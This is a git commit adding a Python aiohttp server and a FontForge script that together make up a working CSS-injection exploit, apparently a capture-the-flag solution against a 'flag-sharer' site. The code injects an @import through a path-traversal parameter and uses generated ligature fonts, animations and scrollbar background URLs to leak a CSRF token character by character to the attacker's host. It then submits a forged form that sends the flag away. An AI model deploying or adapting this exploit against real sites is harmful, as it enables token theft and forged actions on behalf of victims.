This commit is contained in:
m3rc1fulcameron 2020-06-24 02:26:19 -04:00
commit 3bfaee9417
2 changed files with 260 additions and 0 deletions

3
convert.fontforge Normal file
View File

@ -0,0 +1,3 @@
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

257
server.py Normal file
View File

@ -0,0 +1,257 @@
import asyncio as aio
from aiohttp import web
import ssl
import logging
import tempfile
import subprocess
import os
import base64
import math
SELF_URL = "https://evil.risky.services:1338"
TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL)
SELECTOR = """textarea[name="csrf"]"""
SPECIFICITY_HACK = """[name="csrf"]"""
LEAK_LEN = 34
BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"]
ep = """<!DOCTYPE html>
<html>
<head>
<script>const sessid = "{sessid}"</script>
<style>
#target {{
height: 100vh;
width: 100vw;
overflow-x: auto;
display: block;
}}
</style>
</head>
<body>
<iframe frameborder="0" height="100%" width="100%" id="target" src={target_uri}></iframe>
<form id="myform" method="POST" action="https://flag-sharer.ml/send">
<input type="hidden" name="recipient" value="sdfg">
<input type="hidden" name="gift" value="actual flag">
<input id="csrf" type="hidden" name="csrf" value="">
</form>
<script>
function sleep(ms) {{
return new Promise(resolve => setTimeout(resolve, ms));
}}
async function try_fetch() {{
while (true) {{
r = await fetch("/token/"+sessid);
j = await r.json();
console.log(j);
if (j['status'] == 'true') {{
document.getElementById("csrf").value = j["token"];
document.getElementById("myform").submit();
break;
}}
await sleep(3000);
}}
}}
try_fetch();
</script>
</body>
</html>
"""
base_style = """
@import url("{self_url}{{style_path}}");
:root {{{{
--x: red;
}}}}
{{selector}} {{{{
display: block !important;
height: 4em;
white-space: nowrap;
}}}}
{{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}}
""".format(self_url=SELF_URL)
class Session(object):
count = 0
prefix = "i"
evt = aio.Event()
FONT_CTR = 0
def generate_font(ligature):
global FONT_CTR
svg = """<svg>
<defs>
<font id="hack{id}" horiz-adv-x="0">
<font-face font-family="hack{id}" units-per-em="1000" />
<missing-glyph />
{}
{}
</font>
</defs>
</svg>""".format(
'\n '.join(['<glyph unicode="{}" horiz-adv-x="0" d="M1 0z"/>'.format(c) for c in BF_CHARSET]),
'<glyph unicode="{}" horiz-adv-x="8000" d="M1 0z"/>'.format(ligature),
id=FONT_CTR
)
print(svg)
woff = b''
with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp:
svgfp.write(svg)
svgfp.flush()
subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name])
woffname = os.path.splitext(svgfp.name)[0] + '.woff'
with open(woffname, 'rb') as wofffp:
woff = wofffp.read()
os.remove(woffname)
css = """@font-face {{
font-family: "hack{}";
src: url(data:application/x-font-woff;base64,{});
}}
""".format(FONT_CTR, base64.b64encode(woff).decode())
FONT_CTR += 1
return (css, 'hack' + str(FONT_CTR-1))
def generate_fonts(prefix):
css = ''
chars = {}
for c in BF_CHARSET:
fnt, fam = generate_font(prefix + c)
css += fnt
chars[prefix+c] = fam
return (css, chars)
def generate_frame(frame, sess, count, delta):
fdelta = delta / 5.0
css = """{}
{}
{}
{}
{}""".format(
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]),
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]),
'{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count),
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]),
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta)))
return css
import decimal
def float_range(start, stop, step):
while start < stop:
yield float(start)
start += step
ANIM_CTR = 0
def generate_animations(chars, sess, count):
global ANIM_CTR
delta = math.floor(99/(len(chars.keys())-1))
frames = list(zip(chars.items(), range(0, 99, delta)))
css = """@keyframes troll{} {{
{}
100% {{font-family:empty;--x:red}}
}}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames]))
ANIM_CTR += 1
return (css, 'troll' + str(ANIM_CTR-1))
def generate_attack_style(prefix, sess, count):
fonts, chars = generate_fonts(prefix)
anim, animid = generate_animations(chars, sess, count)
css = """@import url("{self_url}{next_path}");
{fonts}
{anim}
{selector}{specificity_hack} {{
overflow-x: auto;
width: 4em;
animation-duration: 3s;
animation-delay: 0s;
animation-timing-function: step-start;
font-family: empty;
background: lightblue;
animation-name: {animid};
}}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid)
return css
SESS_CTR = 0
SESSIONS = {}
async def handle_entrypoint(req):
logging.warning("Got one")
global SESS_CTR
global SESSIONS
sessid = SESS_CTR
SESS_CTR += 1
SESSIONS[sessid] = Session()
SESSIONS[sessid].evt.set()
uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid))
rez = ep.format(sessid=sessid, target_uri=uniq_url)
return web.Response(text=rez, content_type='text/html')
async def get_style(req):
sess = req.match_info['sess']
logging.warning("%s requested base style" % sess)
rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK)
return web.Response(text=rez, content_type='text/css')
async def handle_attack(req):
global SESSIONS
sess = req.match_info['sess']
sessid = int(sess)
if sessid not in SESSIONS.keys():
logging.error("Bad session %s" % sess)
return web.Response(text='')
session = SESSIONS[sessid]
await aio.gather(session.evt.wait(), aio.sleep(3))
session.evt.clear()
count = req.match_info['count']
c = int(count)
if c >= LEAK_LEN or c != session.count:
logging.error("Bad count: expected %d got %d" % (session.count, c))
return web.Response(text='')
logging.warning("%s requested attack style" % sess)
rez = generate_attack_style(session.prefix, sess, count)
session.count += 1
return web.Response(text=rez, content_type='text/css')
async def handle_token(req):
global SESSIONS
sess = req.match_info['sess']
sessid = int(sess)
if sessid not in SESSIONS.keys():
logging.error("Bad session %s" % sess)
session = SESSIONS[sessid]
if len(session.prefix) < LEAK_LEN:
return web.json_response({'status': 'false'})
else:
return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]})
async def handle_leak(req):
global SESSIONS
sess = req.match_info['sess']
sessid = int(sess)
if sessid not in SESSIONS.keys():
logging.error("Bad session %s" % sess)
return web.Response(text='')
session = SESSIONS[sessid]
count = req.match_info['count']
c = int(count)
if c >= LEAK_LEN or c != session.count-1:
logging.error("Bad count: expected %d got %d" % (session.count, c))
return web.Response(text='')
session.evt.set()
data = req.match_info['data']
logging.warning("%s reported %s" % (sess, data))
session.prefix=data
return web.Response(body=b'', content_type='image/png')
app = web.Application()
app.add_routes([web.get('/entrypoint', handle_entrypoint),
web.get('/style/{sess:\d+}', get_style),
web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack),
web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak),
web.get('/token/{sess:\d+}', handle_token),])
if __name__ == "__main__":
print(generate_attack_style('id', '0', '10'))
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem')
web.run_app(app, port=1338, ssl_context=ssl_ctx)